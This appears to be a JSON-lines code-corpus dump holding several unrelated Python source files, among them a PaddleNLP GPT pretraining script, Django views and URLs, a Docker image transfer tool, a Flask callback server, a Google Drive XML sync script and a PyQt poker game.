enumerate(data_loader):\n loss_return = exe.run(program, feed=batch, fetch_list=eval_fetch)\n if is_last:\n all_loss.append(float(loss_return[0]))\n if eval_step >= iter_steps - 1:\n if not is_last:\n break\n average_loss = sum(all_loss) / len(all_loss)\n logger.info(\n \"%s step %d, epoch: %d, batch: %d, loss: %f, speed: %.0f tokens/s\"\n % (task_name, global_step, epoch, eval_step, average_loss,\n iter_steps * args.micro_batch_size * args.max_seq_len /\n (time.time() - local_time)))\n log_writer.add_scalar(task_name + \"_loss\", average_loss,\n global_step)\n break\n\n\ndef do_train(args):\n # Initialize the paddle and paddle fleet execute environment\n paddle.enable_static()\n fleet.init(is_collective=True)\n\n # Create the random seed for the worker\n random.seed(args.seed)\n np.random.seed(args.seed)\n paddle.seed(args.seed)\n get_rng_state_tracker().add('global_seed', args.seed)\n get_rng_state_tracker().add('local_seed',\n args.seed + fleet.worker_index() + 2021)\n\n assert args.device in [\n \"cpu\", \"gpu\", \"xpu\"\n ], \"Invalid device! Available device should be cpu, gpu, or xpu.\"\n place = paddle.set_device(args.device)\n\n worker_num = fleet.worker_num()\n worker_index = fleet.worker_index()\n\n assert args.pp_degree == 1, \"Please use gpt-3 example to train GPT with pipline prallelism.\"\n assert args.mp_degree == 1, \"Please use gpt-3 example to train GPT with model prallelism.\"\n\n topo = Topology(\n device_rank=worker_index,\n world_size=worker_num,\n dp_degree=args.dp_degree,\n pp_degree=args.pp_degree,\n sharding_degree=args.sharding_degree,\n mp_degree=args.mp_degree)\n\n logger.info(\"The topo of hybrid parallelism:\\n{}\".format(topo))\n\n dist_strategy = dist_optimizer(args, topo)\n\n # Create log write, train results show on last card of pipeline.\n if topo.is_last:\n log_writer_path = os.path.join(\n args.output_dir, \"train_log\",\n \"{}_globalbsz_{}_amp_{}_recompute_{}_card_{}\".format(\n args.model_name_or_path, args.global_batch_size, args.use_amp,\n args.use_recompute, worker_index).lower())\n if os.path.exists(log_writer_path):\n import shutil\n shutil.rmtree(log_writer_path)\n log_writer = LogWriter(log_writer_path)\n\n # Define the input data in the static mode\n\n model_class, tokenizer_class = MODEL_CLASSES[args.model_type]\n pretrained_models_list = list(\n model_class.pretrained_init_configuration.keys())\n\n data_file = get_train_data_file(args)\n main_program = paddle.static.default_main_program()\n startup_program = paddle.static.default_startup_program()\n with paddle.static.program_guard(main_program, startup_program):\n with paddle.utils.unique_name.guard():\n with paddle.static.device_guard('gpu:0'):\n data_holders = create_data_holder(args)\n [tokens, loss_mask, attention_mask, position_ids,\n labels] = data_holders\n\n tokenizer = tokenizer_class.from_pretrained(\n args.model_name_or_path)\n eos_id = tokenizer.eos_token_id\n\n train_data_loader, valid_data_loader, test_data_loader = create_pretrained_dataset(\n args,\n data_file,\n data_world_size=topo.data_info.size,\n data_world_rank=topo.data_info.rank,\n eos_id=eos_id,\n max_seq_len=args.max_seq_len,\n places=paddle.static.cuda_places(),\n data_holders=data_holders,\n pipeline_mode=False, )\n\n if args.model_name_or_path in pretrained_models_list:\n model_config = model_class.pretrained_init_configuration[\n args.model_name_or_path]\n\n model_config[\n \"hidden_dropout_prob\"] = args.hidden_dropout_prob\n model_config[\n \"attention_probs_dropout_prob\"] = args.attention_probs_dropout_prob\n model_config[\"topo\"] = topo\n\n model = GPTForPretraining(GPTModel(**model_config))\n else:\n model, _ = GPTForPretraining.from_pretrained(\n args.model_name_or_path,\n hidden_dropout_prob=args.hidden_dropout_prob,\n attention_probs_dropout_prob=args.\n attention_probs_dropout_prob,\n topo=topo)\n\n # Create the model for the gpt pretrain\n preds = model(tokens, position_ids, attention_mask)\n\n criterion = GPTPretrainingCriterion(topo)\n loss = criterion(preds, labels, loss_mask)\n\n # Create the learning_rate sheduler and optimizer\n if args.decay_steps is None:\n args.decay_steps = args.max_steps\n warmup_step = args.warmup_rate * args.decay_steps\n\n # TODO @ZHUI Use paddle network to support lr scheduler\n lr_scheduler = lr.CosineAnnealingWithWarmupDecay(\n max_lr=args.max_lr,\n min_lr=args.min_lr,\n warmup_step=warmup_step,\n decay_step=args.decay_steps)\n\n clip = None\n if args.grad_clip > 0:\n clip = paddle.fluid.clip.GradientClipByGlobalNorm(\n clip_norm=args.grad_clip)\n\n decay_param = [\n p.name for n, p in model.named_parameters()\n if not any(nd in n for nd in [\"bias\", \"norm\"])\n ]\n\n optimizer = paddle.optimizer.AdamW(\n learning_rate=lr_scheduler,\n beta1=args.adam_beta1,\n beta2=args.adam_beta2,\n epsilon=args.adam_epsilon,\n grad_clip=clip,\n weight_decay=args.weight_decay,\n apply_decay_param_fun=lambda x: x in decay_param)\n\n # alias\n optimizer.apply_optimize = optimizer._apply_optimize\n\n if args.use_recompute:\n dist_strategy.recompute = True\n dist_strategy.recompute_configs = {\n \"checkpoints\": model.gpt.checkpoints\n }\n\n # Use the fleet api to compile the distributed optimizer\n optimizer = fleet.distributed_optimizer(\n optimizer, strategy=dist_strategy)\n\n optimizer.minimize(loss)\n logger.info(f'final strategy: {fleet._final_strategy()}')\n logger.info(\"The training meta optimizer is/are %s\" %\n fleet._get_applied_meta_list())\n\n program_desc_dir = os.path.join(args.output_dir, \"program_desc\")\n if not os.path.isdir(program_desc_dir):\n os.mkdir(program_desc_dir)\n\n with open(program_desc_dir + \"/main_program.txt.%d\" % worker_index,\n 'w') as f:\n f.write(str(main_program))\n\n with open(program_desc_dir + \"/startup_program.txt.%d\" % worker_index,\n 'w') as f:\n f.write(str(startup_program))\n\n # Define the Executor for running the static model\n exe = paddle.static.Executor(place)\n exe.run(startup_program)\n test_program = main_program.clone(for_test=True)\n\n if args.model_name_or_path not in pretrained_models_list:\n logger.info(\"Try to load checkpoint from %s \" % args.model_name_or_path)\n dygrah_path = os.path.join(args.model_name_or_path,\n \"model_state.pdparams\")\n static_path = os.path.join(args.model_name_or_path, \"static_vars\")\n\n flag_loaded = False\n if os.path.exists(static_path):\n if args.mp_degree > 1:\n logger.warning(\"MP should init with dygraph params\")\n else:\n logger.info(\"Loading parameters from %s\" % static_path)\n paddle.static.load(main_program, static_path, exe)\n flag_loaded = True\n\n if not flag_loaded and os.path.exists(dygrah_path):\n if args.sharding_degree > 1:\n logger.warning(\"Sharding should init with static vars\")\n else:\n logger.info(\"Loading parameters from %s\" % dygrah_path)\n init_static_with_params(\n model,\n paddle.load(\n dygrah_path, return_numpy=True),\n topo,\n main_program)\n flag_loaded = True\n\n if not flag_loaded:\n logger.error(\"No checkpoint load.\")\n\n global_step = 0\n tic_train = time.time()\n epoch = 0\n learning_rate = main_program.global_block().vars[\"learning_rate_0\"]\n while True:\n fetchs = []\n if topo.is_last:\n fetchs = [loss, learning_rate]\n\n # Bug fix, if not call valid_data_loader, the enumerate will call valid_data_loader\n # many times. and start a new random dataloader.\n valid_data_loader = valid_data_loader()\n test_data_loader = test_data_loader()\n\n for step, batch in enumerate(train_data_loader()):\n global_step += 1\n ret = exe.run(main_program,\n feed=batch,\n fetch_list=fetchs,\n use_program_cache=True)\n # In the new 2.0 api, must call this function to change the learning_rate\n lr_scheduler.step()\n\n if global_step % args.logging_freq == 0:\n if topo.is_last:\n loss_return, lr_return = ret\n speed = args.logging_freq / (time.time() - tic_train)\n logger.info(\n \"global step %d, epoch: %d, batch: %d, loss: %.9f, speed: %.2f steps/s, ips: %.0f tokens/s, learning rate: %.5e\"\n % (global_step, epoch, step, loss_return[0], speed,\n speed * args.global_batch_size * args.max_seq_len,\n lr_return[0]))\n log_writer.add_scalar(\"loss\", loss_return[0], global_step)\n log_writer.add_scalar(\"learning_rate\", lr_return[0],\n global_step)\n tic_train = time.time()\n\n if args.check_accuracy:\n if global_step >= args.max_steps:\n return\n else:\n continue\n\n if global_step % args.eval_freq == 0:\n # TODO, check the input data of validation\n eval_fetch = []\n if topo.is_last:\n eval_fetch = [loss]\n\n run_evaluate(valid_data_loader, exe, test_program,\n args.eval_iters, log_writer, global_step, args,\n epoch, topo.is_last, eval_fetch, \"valid\")\n tic_train = time.time()\n\n if global_step % args.save_steps == 0 or global_step >= args.max_steps:\n output_dir = os.path.join(args.output_dir,\n \"model_%d\" % global_step)\n logger.debug(\"saving models to {}\".format(output_dir))\n save_persistables(exe,\n os.path.join(output_dir, \"static_vars\"),\n main_program)\n if global_step == args.save_steps:\n model.init_config[\"init_args\"][0].init_config.pop(\"topo\",\n None)\n model.save_pretrained(output_dir)\n tokenizer.save_pretrained(output_dir)\n tic_train = time.time()\n\n if global_step >= args.max_steps:\n eval_fetch = []\n if topo.is_last:\n eval_fetch = [loss]\n\n run_evaluate(test_data_loader, exe, test_program,\n args.test_iters, log_writer, global_step, args,\n epoch, topo.is_last, eval_fetch, \"test\")\n del train_data_loader\n return\n epoch += 1\n\n\nif __name__ == \"__main__\":\n config = parse_args(MODEL_CLASSES)\n do_train(config)\n","sub_path":"Paddle_ChineseBert/PaddleNLP/examples/language_model/gpt/run_pretrain_static.py","file_name":"run_pretrain_static.py","file_ext":"py","file_size_in_byte":17765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"234656361","text":"from django.conf import settings\nfrom django.shortcuts import render\nfrom django.views.decorators.http import require_POST\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.generic import View\nfrom apps.courtroom.models import Courtroom\nfrom .forms import AddSkyvisCaseForm, EditSkyvisCaseForm, DeleteSkyvisCaseForm\nfrom .models import SkyvisCase\nfrom utils import restful\nfrom utils.pagination import get_pagination_data\nfrom utils.decorators import skyvis_superuser_required\n\n\nclass SkyvisCaseView(View):\n def get(self, request, case_no=None):\n count = settings.ONE_PAGE_NEWS_COUNT\n try:\n page = int(request.GET.get('p', 1))\n case_no = request.GET.get('case_no')\n except:\n page = 1\n if case_no:\n skyvis_cases = SkyvisCase.objects.filter(case_no__icontains=case_no)\n else:\n skyvis_cases = SkyvisCase.objects.all()\n paginator = Paginator(skyvis_cases, count)\n try:\n page_obj = paginator.page(page)\n except PageNotAnInteger:\n page_obj = paginator.page(1)\n except EmptyPage:\n page_obj = paginator.page(1)\n context_data = get_pagination_data(paginator, page_obj, count=count)\n courtrooms = Courtroom.objects.all()\n context = {\n 'skyvis_cases': page_obj.object_list,\n 'courtrooms': courtrooms,\n 'page_obj': page_obj,\n 'paginator': paginator,\n 'case_no': case_no,\n 'total': skyvis_cases.count()\n }\n context.update(context_data)\n return render(request, 'cases/skyvis-cases.html', context=context)\n\n def http_method_not_allowed(self, request, *args, **kwargs):\n return render(request, 'errors/403.html')\n\n\n@skyvis_superuser_required\n@require_POST\ndef add_skyvis_case(request):\n form = AddSkyvisCaseForm(request.POST)\n if form.is_valid():\n courtroom = request.POST.get('courtroom')\n department_name = request.POST.get('department_name')\n case_no = request.POST.get('case_no')\n catalog_id = request.POST.get('catalog_id')\n case_cause = request.POST.get('case_cause')\n phrase = request.POST.get('phrase')\n begin_time = request.POST.get('begin_time')\n hls = request.POST.get('hls')\n mp4 = request.POST.get('mp4')\n poster = request.POST.get('poster')\n room_name = request.POST.get('room_name')\n description = request.POST.get('description')\n cbr = request.POST.get('cbr')\n judge = request.POST.get('judge')\n party = request.POST.get('party')\n status = request.POST.get('status')\n push_status = request.POST.get('push_status')\n if not Courtroom.objects.filter(pk=courtroom):\n return restful.params_error(message='添加失败,法院不存在')\n else:\n try:\n SkyvisCase.objects.create(\n courtroom_id=courtroom, department_name=department_name, case_no=case_no, catalog_id=catalog_id,\n case_cause=case_cause, phrase=phrase, begin_time=begin_time, hls=hls, mp4=mp4, poster=poster,\n room_name=room_name, description=description, cbr=cbr, judge=judge, party=party, status=status,\n push_status=push_status\n )\n return restful.ok()\n except:\n return restful.server_error(message='添加天宇威视案件失败,服务器内部错误')\n else:\n return restful.params_error(message=form.get_errors())\n\n\n@skyvis_superuser_required\n@require_POST\ndef edit_skyvis_case(request):\n form = EditSkyvisCaseForm(request.POST)\n if form.is_valid():\n pk = request.POST.get('pk')\n courtroom = request.POST.get('courtroom')\n department_name = request.POST.get('department_name')\n case_no = request.POST.get('case_no')\n catalog_id = request.POST.get('catalog_id')\n case_cause = request.POST.get('case_cause')\n phrase = request.POST.get('phrase')\n begin_time = request.POST.get('begin_time')\n hls = request.POST.get('hls')\n mp4 = request.POST.get('mp4')\n poster = request.POST.get('poster')\n room_name = request.POST.get('room_name')\n description = request.POST.get('description')\n cbr = request.POST.get('cbr')\n judge = request.POST.get('judge')\n party = request.POST.get('party')\n status = request.POST.get('status')\n push_status = request.POST.get('push_status')\n try:\n SkyvisCase.objects.filter(pk=pk).update(\n courtroom_id=courtroom, department_name=department_name, case_no=case_no, catalog_id=catalog_id,\n case_cause=case_cause, phrase=phrase, begin_time=begin_time, hls=hls, mp4=mp4, poster=poster,\n room_name=room_name, description=description, cbr=cbr, judge=judge, party=party, status=status,\n push_status=push_status\n )\n return restful.result(message='编辑成功')\n except:\n return restful.params_error(message='编辑失败,天宇威视案件不存在')\n else:\n return restful.params_error(message=form.get_errors())\n\n\n@skyvis_superuser_required\n@require_POST\ndef delete_skyvis_case(request):\n form = DeleteSkyvisCaseForm(request.POST)\n if form.is_valid():\n pk = request.POST.get('pk')\n try:\n SkyvisCase.objects.filter(pk=pk).delete()\n return restful.ok()\n except:\n return restful.params_error(message='删除案件失败,该案件正在被使用')\n else:\n return restful.params_error(message=form.get_errors())\n","sub_path":"apps/cases/skyvis_case_views.py","file_name":"skyvis_case_views.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"568774052","text":"# 策略模式\n#\n# 定义:定义一系列的算法把它们一个个封装起来,并且使它们可相互替换.该模式使得算法可独立于使用它的客户而变化\n#\n# 角色:抽象策略,具体策略,上下文\n#\n# 适用场景:许多相关的类仅仅是行为有异,需使用一个算法的不同变体,算法使用了客户端无需知道的数据,一个类中的多个行为以多个条件语句存在可以将其封装在不同的策略类中\n#\n# 优点:定义了一系列可重用的算法和行为,消除了一些条件语句,可提供相同行为的不同实现\n#\n# 缺点:客户必须了解不同的策略,策略与上下文之间的通信开销,增加了对象的数目\n\nfrom abc import ABCMeta, abstractmethod\nimport random\n\n#抽象策略\nclass Sort(metaclass=ABCMeta):\n @abstractmethod\n def sort(self,data):\n pass\n\n#具体策略\nclass QuickSort(Sort):\n\n def quick_sort(self,data,left,right):\n if left=tmp:\n right -= 1\n data[left] = data[right]\n\n while left.*)=(?P.*)$', views.words_detail),\n]\n","sub_path":"definitions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"161414779","text":"# coding=utf8\n__author__ = 'sunyi'\n\nimport unittest\nfrom time import sleep\nfrom PageObjects.page import Page\n\nclass TestPage(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.p = Page(None)\n\n @classmethod\n def tearDownClass(cls):\n cls.p = None\n\n def setUp(self):\n pass\n\n def test_open_page(self):\n self.p.browser.get(\"http://www.baidu.com\")\n sleep(10)\n assert self.p.title() is not None\n assert u\"百度\" in self.p.title()\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"TestSuites/testPage.py","file_name":"testPage.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"491306680","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\n\nclass Room():\n def __init__(self, name, description, inventory):\n self.name = name\n self.description = description\n inventory_item = inventory.split(\" \")\n self.inventory = [*inventory_item]\n self.n_to = None\n self.s_to = None\n self.e_to = None\n self.w_to = None\n\n def room_direction(self, direction):\n if direction == 'n':\n return self.n_to\n elif direction == 's':\n return self.s_to\n elif direction == 'e':\n return self.e_to\n elif direction == 'w':\n return self.w_to\n else:\n return None\n\n def __str__(self):\n return f'{self.name}, \\n{self.description} You see, tucked away in a dusty corner, {self.inventory}'\n\n def remove_item(self, item):\n self.inventory.remove(item)\n\n def add_item(self, item):\n self.inventory.append(item)","sub_path":"projects/graph/adv/rooms.py","file_name":"rooms.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"293470995","text":"from ai_safety_gridworlds.environments import boat_race\n\nfrom ai_safety_gridworlds.environments.friend_foe import FriendFoeEnvironment\nfrom ai_safety_gridworlds.environments.shared import safety_game\nimport numpy as np\nimport random\nimport time\nfrom IPython.display import clear_output\n\nclass foe:\n def init(self, env):\n self.env=env\n self.actions = safety_game.Actions\n\n self.actions_dict = {'Left': self.actions.LEFT.value, 'Right': self.actions.RIGHT.value,\n 'Up': self.actions.UP.value, 'Down': self.actions.DOWN.value, 'Quit': self.actions.QUIT.value}\n\n\n def run_experiment(self):\n self.env.reset()\n print(\"Reward before action...\",self.env.episode_return)\n a= self.env.step(self.actions.RIGHT.value)\n b= self.env.step(self.actions.RIGHT.value)\n c= self.env.step(self.actions.DOWN.value)\n d = self.env.step(self.actions.DOWN.value)\n g = self.env.step(self.actions.LEFT.value)\n h = self.env.step(self.actions.LEFT.value)\n i = self.env.step(self.actions.UP.value)\n j = self.env.step(self.actions.UP.value)\n k = self.env.step(self.actions.QUIT.value)\n print(\"Reward after action...\", self.env.episode_return)\n print(\"Reward after action...\", self.env.get_overall_performance())\n\n print(a,b,c,d,g,h,i,j,k)\n\n print(self.actions_dict)\n print(self.actions_dict.keys())\n\nenv = FriendFoeEnvironment()\nfoe = foe()\nfoe.init(env)\nfoe.run_experiment()\n\nprint(\"Observation_Matrix -->\")\n\nobservation= np.array([[35., 35., 35., 35., 35.],\n [35., 42., 78., 42., 35.],\n [35., 65., 78., 78., 35.],\n [35., 78., 78., 78., 35.],\n [35., 78., 78., 78., 35.],\n [35., 35., 35., 35., 35.]])\n\n\nprint(observation)\n\nprint(\"\")\n\nObservation_Size_FriendFoe = observation.shape\nprint (\"Observation_Size of FriendFoeEnvironment\")\nprint(\"********************************************\")\nprint(Observation_Size_FriendFoe)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"ai_safety_gridworlds/experiments/foe.py","file_name":"foe.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"472661296","text":"import numpy as np\n\n\n\nvec_bitstring_3 = np.vectorize(lambda x: np.binary_repr(x,width=3) )\n\n\ndef board_to_int(v):\n t = vec_bitstring_3(v)\n return int(''.join(np.apply_along_axis(lambda x: ''.join(x), 1,t)),2)\n\ndef int_to_board(i):\n #i = '154444257952488798331863040'\n s = bin(int(i))[2:].zfill(108)\n v = np.array([int(s[i:i+3],2) for i in range(0,len(s),3)],dtype=int)\n return v.reshape((6,6))\n\n\ndef split_int(i):\n s = bin(int(i))[2:].zfill(108)\n s1 = s[:54]\n s2 = s[54:]\n i1 = int(s1,2)\n i2 = int(s2,2)\n return(i1,i2)\n\ndef combine_ints(i1,i2):\n s1 = bin(int(i1))[2:].zfill(54) \n s2 = bin(int(i2))[2:].zfill(54) \n return int(s1+s2,2)\n\n\n \n\n\n\n\n\n t = vec_bitstring_3(v)\n return int(''.join(np.apply_along_axis(lambda x: ''.join(x), 1,t)),2)\n\n v = np.array([int(s[i:i+3],2) for i in range(0,len(s),3)],dtype=int)","sub_path":"Analytics/shared_code/OLD/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"14981817","text":"import posixpath\nimport sys\n\nfrom docker import DockerClient\nfrom docker.errors import ImageNotFound\nfrom progress.bar import Bar\n\n\ndef split_tag(name, strip_namespace=False):\n if strip_namespace:\n name = posixpath.basename(name)\n\n suffix_parts = name.split(':')\n\n if len(suffix_parts) == 2:\n name, tag = suffix_parts\n else:\n name, = suffix_parts\n tag = 'latest'\n\n return name, tag\n\n\ndef pull_image(client, src):\n src_repo, src_tag = split_tag(src)\n bar = Bar()\n results = client.api.pull(src_repo, src_tag, stream=True, decode=True)\n\n print('')\n\n for result in results:\n status = result.get('status')\n\n if 'id' in result:\n if status == 'Downloading' or status == 'Extracting':\n output = '{id}: {status} {progress}'.format(**result)\n bar.writeln(output)\n elif status == 'Download complete' or status == 'Pull complete':\n bar.clearln()\n print('{id}: {status}'.format(**result))\n\n bar.finish()\n bar.clearln()\n\n return client.images.get(src)\n\n\ndef push_image(client, dest_repo, dest_tag):\n bar = Bar()\n results = client.images.push(dest_repo, dest_tag, stream=True, decode=True)\n\n print('')\n\n for result in results:\n status = result.get('status')\n\n if 'id' in result:\n if status == 'Pushing':\n output = '{id}: {status} {progress}'.format(**result)\n bar.writeln(output)\n elif status == 'Pushed':\n bar.clearln()\n print('{id}: {status}'.format(**result))\n\n bar.finish()\n bar.clearln()\n\n\ndef run(docker: DockerClient, options: dict) -> None:\n src_name, src_tag = split_tag(options['src'], strip_namespace=True)\n\n if options['dest']:\n dest_name, dest_tag = split_tag(\n options['dest'], strip_namespace=bool(options['namespace'])\n )\n else:\n dest_name = src_name\n dest_tag = src_tag\n\n dest_repo = posixpath.join(options['namespace'], dest_name)\n dest = '{repo}:{tag}'.format(repo=dest_repo, tag=dest_tag)\n\n print('Source: {src}'.format(src=options['src']))\n print('Dest: {dest}'.format(dest=dest))\n\n if options['dry_run']:\n return\n\n try:\n image = docker.images.get(options['src'])\n except ImageNotFound:\n if options['pull']:\n src_repo, _ = split_tag(options['src'])\n image = pull_image(docker, options['src'])\n else:\n sys.exit('image `%s` not found' % options['src'])\n\n image.tag(dest_repo, dest_tag)\n\n if options['push']:\n try:\n push_image(docker, dest_repo, dest_tag)\n print('Pushed {dest}'.format(dest=dest))\n except KeyboardInterrupt:\n pass\n","sub_path":"dockrane/commands/transfer_image.py","file_name":"transfer_image.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"2635938","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('catalog', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CartItem',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('cart_id', models.CharField(max_length=50)),\n ('date_added', models.DateTimeField(auto_now_add=True)),\n ('user_quantity', models.PositiveSmallIntegerField(default=1)),\n ('product_url', models.URLField(verbose_name=b'Product URL')),\n ('product_stock', models.ForeignKey(to='catalog.ProductStock')),\n ],\n options={\n 'ordering': ['date_added'],\n 'db_table': 'my_cart',\n },\n ),\n ]\n","sub_path":"cart/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"71383107","text":"#!/usr/bin/env python3\n\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/first_call', methods=['POST'])\ndef first_callback():\n if request.method == 'POST':\n result = request.data\n id = request.args.get(\"id\")\n name = request.form.get('name')\n client_ip = request.remote_addr\n print('client IP:',client_ip)\n print('id:', id)\n print('name:', name)\n print('client data:',request.json)\n\n return \"OK\"\n\n\n@app.route('/second_call', methods=['GET'])\ndef second_callback():\n if request.method == 'GET':\n #....\n pass\n\n return \"OK\"\n\nif __name__ == '__main__':\n app.debug = True\n app.run(\"127.0.0.1\")\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"554996749","text":"\"\"\"\nThis script is responsible for updating the local data based on the\nGoogle Drive information in this folder: https://drive.google.com/drive/u/3/folders/10XzxPdk6z5kF4-0fp-XSh_LEO6kzh1kE.\n\nCoaching staff is expected to update this folder (and all sub-folders) with correct XML files\nas they become available.\n\"\"\"\n\nfrom pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nimport google_auth_oauthlib.flow\n\n\n# Authorizes the app with Google - requires user interaction\n\nimport sys, os\nimport Constants\n# print(Constants.BASE_DIR)\n# print(Constants.BACKEND_DIR)\n\nsecrets = os.path.join(Constants.BACKEND_DIR, \"client_secrets.json\")\ncreds = os.path.join(Constants.BACKEND_DIR, \"mycreds.json\")\nxml_path = os.path.join(Constants.BACKEND_DIR, \"xml_data/\")\nsecrets = '/' + secrets\ncreds = '/' + creds\nxml_path = '/' + xml_path\n\n# print(secrets)\n# print(creds)\n# print(xml_path)\n\nGoogleAuth.DEFAULT_SETTINGS['client_config_file'] = secrets\n#\n# flow = google_auth_oauthlib.flow.Flow.from_client_secrets_file(\n# secrets,\n# scopes=['https://www.googleapis.com/auth/drive.metadata.readonly'])\n#\n# flow.redirect_uri = 'https://www.example.com/oauth2callback'\n\n#\n# authorization_url, state = flow.authorization_url(\n# # Enable offline access so that you can refresh an access token without\n# # re-prompting the user for permission. Recommended for web server apps.\n# access_type='offline',\n# # Enable incremental authorization. Recommended as a best practice.\n# include_granted_scopes='true')\n\ngauth = GoogleAuth()\n# Try to load saved client credentials\ngauth.LoadCredentialsFile(creds)\nif gauth.credentials is None:\n # Authenticate if they're not there\n gauth.LocalWebserverAuth()\nelif gauth.access_token_expired:\n# Refresh them if expired\n gauth.Refresh()\nelse:\n # Initialize the saved creds\n gauth.Authorize()\n# Save the current credentials to a file\ngauth.SaveCredentialsFile(creds)\n\ndrive = GoogleDrive(gauth)\n# root_file_list = drive.ListFile({'q': \"'root' in parents and trashed=false\"}).GetList()\n# for obj in file_list:\n# print('title: %s, id: %s' % (file1['title'], file1['id']))\n# xml_files = root_file_list[0]\n# print(xml_files)\nimport os\nfrom populate_db import fill_all_xml\n\ndef fetch_new_xml():\n xml_folder_id = \"10XzxPdk6z5kF4-0fp-XSh_LEO6kzh1kE\"\n xml_file_list = drive.ListFile({'q': \"'{}' in parents and trashed=false\".format(xml_folder_id)}).GetList()\n new_files = False\n for dir in xml_file_list:\n # print('--title: {}, id: {}'.format(dir['title'], dir['id']))\n for data_file in drive.ListFile({'q': \"'{}' in parents and trashed=false\".format(dir[\"id\"])}).GetList():\n # print('----title: {}, id: {}'.format(data_file['title'], data_file['id']))\n # Download this file in the appropriate directory if it isn't already there\n filename = \"{}/{}/{}\".format(xml_path, dir['title'], data_file['title'])\n if not os.path.isfile(filename):\n new_files = True\n # print(\"------File doesn't exist, adding to database\")\n # Only download the file if it's not already in the data\n file_obj = drive.CreateFile({'id': data_file[\"id\"]})\n if not os.path.exists(\"{}/{}\".format(xml_path, dir['title'])):\n os.makedirs(\"{}/{}\".format(xml_path, dir['title']))\n file_obj.GetContentFile(filename) # Download file to proper directory\n\n if new_files:\n fill_all_xml()\n\n\ndef main():\n fetch_new_xml()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"app/xml_downloader.py","file_name":"xml_downloader.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"370470494","text":"import sys\r\n\r\nfrom PyQt5 import QtWidgets, QtGui\r\n\r\nimport design\r\nimport mechanics\r\n\r\nclass App(QtWidgets.QMainWindow, design.Ui_MainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n # механика игры\r\n self.bank = mechanics.Bank(1000)\r\n self.deck = [mechanics.Card(value, color) for value in mechanics.VALUES for color in mechanics.COLORS]\r\n self.hand = []\r\n self.state = 'start'\r\n # графика для карт\r\n self.gcards = {}\r\n for i in range(len(self.deck)): \r\n self.gcards[self.deck[i]] = f':/res/cards/{str(i + 1)}.png'\r\n\r\n \r\n\r\n # коннектим кнопки и карты\r\n self.startGame.clicked.connect(self.main_button)\r\n self.card1.clicked.connect(self.card1_clicked)\r\n self.card2.clicked.connect(self.card2_clicked)\r\n self.card3.clicked.connect(self.card3_clicked)\r\n self.card4.clicked.connect(self.card4_clicked)\r\n self.card5.clicked.connect(self.card5_clicked)\r\n\r\n self.change_state()\r\n\r\n def change_state(self):\r\n if self.state == 'start':\r\n # механика\r\n self.marked_for_swap = []\r\n self.wageSize.setMinimum(0)\r\n self.wageSize.setMaximum(self.bank.money)\r\n self.wageSize.setEnabled(True)\r\n self.wageSize.valueChanged.connect(self.change_wage)\r\n self.deck, self.hand = mechanics.return_cards(self.deck, self.hand)\r\n # тексты\r\n self.earned.setText(\"\")\r\n self.yourMoney.setText(f'У тебя ${self.bank.money}. Крути для ставки!')\r\n self.startGame.setText('СТАРТ')\r\n # изображения\r\n for i in range(mechanics.HAND_SIZE):\r\n self.cardplaces[i].setPixmap(QtGui.QPixmap(\":/res/cards/back.png\"))\r\n # смена состояния\r\n self.state = 'trade'\r\n\r\n elif self.state == 'trade':\r\n # механика\r\n self.bank.bets(self.wageSize.value())\r\n self.last_bet = self.bank.bet\r\n self.lcdNumber.display(self.bank.bet)\r\n self.wageSize.setEnabled(False)\r\n self.deck, self.hand = mechanics.give_cards(self.deck, self.hand)\r\n # тексты\r\n self.yourMoney.setText('Выбери карты для обмена')\r\n self.startGame.setText('ПОМЕНЯТЬ')\r\n # изображения\r\n for i in range(mechanics.HAND_SIZE):\r\n self.cardplaces[i].setPixmap(QtGui.QPixmap(self.gcards[self.hand[i]]))\r\n # смена состояния\r\n self.state = 'retry'\r\n\r\n elif self.state == 'retry':\r\n # механика\r\n self.deck, self.hand = mechanics.swap_cards(self.deck, self.hand, self.marked_for_swap)\r\n result = mechanics.check_hand(self.hand)\r\n self.bank.returns(self.bank.bet * mechanics.REWARDS[result])\r\n 